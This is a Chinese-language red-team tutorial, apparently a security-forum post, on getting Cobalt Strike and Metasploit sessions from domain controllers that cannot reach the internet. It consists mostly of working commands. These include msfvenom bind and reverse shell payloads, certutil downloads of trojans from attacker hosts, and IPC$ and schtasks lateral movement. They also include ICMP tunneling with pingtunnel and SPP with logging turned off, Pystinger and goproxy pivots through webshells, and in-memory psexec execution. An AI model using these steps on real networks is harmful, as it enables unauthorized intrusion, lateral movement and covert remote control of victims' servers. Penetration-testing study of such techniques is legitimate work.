红队攻防之特殊场景上线cs和msf
儒道易行 渗透测试 11424浏览 · 2021-12-10 13:28

前言

网络安全的本质是懂进攻,知防守,先正向,后逆向。
一名优秀的白帽子,是不能有短板的,有的只能是很多的标准板和几块长板。

网络拓扑图

一、msf正向木马拿不出网域控shell

msf生成木马

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin

用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。

域控上线msf

通过域控web服务的shell进行操作,域控远程下载边界跳板机上的马

C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://xxx.xxx.xxx/msf1.exe msf1.exe

再通过提权工具进行执行

C:\ProgramData\xxxx.exe -i -c "msf1.exe"

msf通过代理开启监听

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST xxx.xxx.xxx
set lport 4444
run

成功获取域控服务器的shell

二、主机中转监听横向上线不出网域控

设置中转监听

这个监听IP要内网可以通信的内网IP

然后生成无阶段木马(分阶段木马无法选择中转监听器),再把木马copy到域控,设置好任务计划,启动木马之后就能够获取域控的shell了

ipc$+计划任务

通过net use建立IPC$连接

shell net use \\x.x.x.x\c$ "xxx" /user:"administrator"

利用copy上传后门文件到域控

shell copy C:\xxx.exe \\x.x.x.x\c$

运行任务,其中/i表示立即运行

shell schtasks /run /s x.x.x.x /u Administrator /p xxxx /tn test /i

域控成功上线cs

三、仅ICMP出网pingtunnel上线msf&cs

0. 环境搭建

WEB边界服务器是公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器域控,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器域控进行后续攻击操作。

1. pingtunnel

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件
由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

2. vps服务端开启

./pingtunnel -type server       ##开启服务器模式

回显0连接

3. 客户端开启

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1

客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后,kali有回显

4. msf上线

制作木马,木马的回连地址为127.0.0.1:9999,运行上线msf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o msf.exe

msf开启监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 7777
exploit -j

把木马msf.exe从蚁剑上传到靶机,运行

已上线msf

5. CS上线

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1

客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后,kali有回显

建立监听127.0.0.1:9999和x.x.x.x:7777

对ICMP-127的监听生成木马cs.exe

传到靶机运行

CS监听上线

四、仅ICMP出网SPP上线Cobalt Strike

环境搭建

WEB边界服务器是公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器域控,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器域控进行后续攻击操作。

工具:

SPP
反向代理用于进入目标内网,正向代理可配合远控工具进行上线。

1. Server

服务端启动

./spp -type server -proto ricmp -listen 0.0.0.0

2. Client

客户端启动
-nolog 1不输出日志,-noprint 1不打印内容

spp.exe -name "cs" -type proxy_client -server x.x.x.x -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1

vps回显

3. 创建SPP Listeners

配置一个http beacon,Host为vps地址:x.x.x.x,监听8081端口

4. 创建SPP-127 Linsteners

再起一个本地监听的http beacon,Host为:127.0.0.1(这里也可以换成web跳板机的内网IP:x.x.x.x),监听本地8082

5. 生成无阶段木马

监听器选择SPP-127,进行上线

传到靶机运行

此时查看cs已上线

vps回显

将SPP-127 Linsteners的Host换成web跳板机的内网IP:x.x.x.x,监听本地8082

生成无阶段木马

监听器选择SPP-127,进行上线

传到靶机运行

此时查看cs已上线

vps回显

五、Pystinger正向代理上线不出网域控到cs

工具:

Pystinger

条件:

  1. TCP、ICMP、DNS均不出网。
  2. 具有Web服务,并获得Webshell权限。
    web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用

环境机器不可以ping通其他机器

1. 上传代理文件

  1. 通过Webshell上传Pystinger的对应语言的Webshell到目标机器,实现内网SOCK4代理, 确保http://x.x.x.x/pystinger/proxy.php可以访问,页面返回 UTF-8。

2. 服务端运行

参考github上Cobalt Strike多主机上线方式,上传stingger_server.exe到目标机器,然后运行

start stinger_server.exe 0.0.0.0

3. 客户端运行

在VPS上上传stinger_client,-w proxy的url地址,执行

./stinger_client -w http://x.x.x.x/pystinger/proxy.php -l 0.0.0.0 -p 60000

4. 创建监听器

Cobalt Strike新建监听pystinger,多主机上线设置Host为目标机器能够与更深层机器相连的内网ip:x.x.x.x,端口为60020。
单主机上线设置Host为目标机器的ip:127.0.0.1,端口为60020,只能本主机上线

5. 生成木马

蚁剑运行木马文件

此时查看cs已上线

六、goproxy http代理上线不出网域控到cs

工具:

goproxy

条件:

  1. TCP、ICMP、DNS均不出网。
  2. 具有Web服务,并获得Webshell权限。
    web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用

环境机器不可以ping通其他机器

1. 上传proxy.exe

通过Webshell上传proxy.exe到目标机器的可读可写目录,执行以下命令在这台出网主机开启一个4444端口的HTTP服务,供后面与不出网域控通讯。

proxy.exe http -t tcp -p "0.0.0.0:4444" --daemon
netstat -ano

2. 创建监听器

Cobalt strike创建监听器,代理地址为不出网域控能访问到的地址,http://x.x.x.x:4444

3. 生成木马

有效荷载选择Windows Executable(S),不然无法上线

然后利用蚁剑将该文件上传到web服务器供不出网域控下载使用。
不出网win2008执行如下命令,要写不出网win2008同层能访问到的地址,下载CS的有效载荷。
certutil -urlcache -split -f http://x.x.x.x/xxx.exe C:\xxx.exe

执行木马

成功上线cs

七、内存加载不出网域控上线cs

条件:

  1. TCP、ICMP、DNS均不出网。
  2. 具有Web服务,并获得Webshell权限。
    web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用

环境机器不可以ping通其他机器

1. 拿跳板机session

首先拿到跳板机的一个Administrator权限的session

2. 创建监听器

创建一个Bind TCP Listener

3. 生成木马

生成无阶段木马

免杀后上传到跳板机的C:\

4.内存加载xxx.exe

execute-assembly C:\xxx.exe -m=psexec -i=x.x.x.x -u=administrator -p=xxxx -d=xxx -f=C:\xxx.exe -e=C:\xxx.exe

5.连接目标机

connect x.x.x.x 4444

6.查看cs目标已成功上线


文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:

https://rdyx0.github.io/

先知社区:

https://xz.aliyun.com/u/37846

SecIN:

https://www.sec-in.com/author/3097

CSDN:

https://blog.csdn.net/weixin_48899364?type=blog

公众号:

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:

https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

0 条评论
某人
表情
可输入 255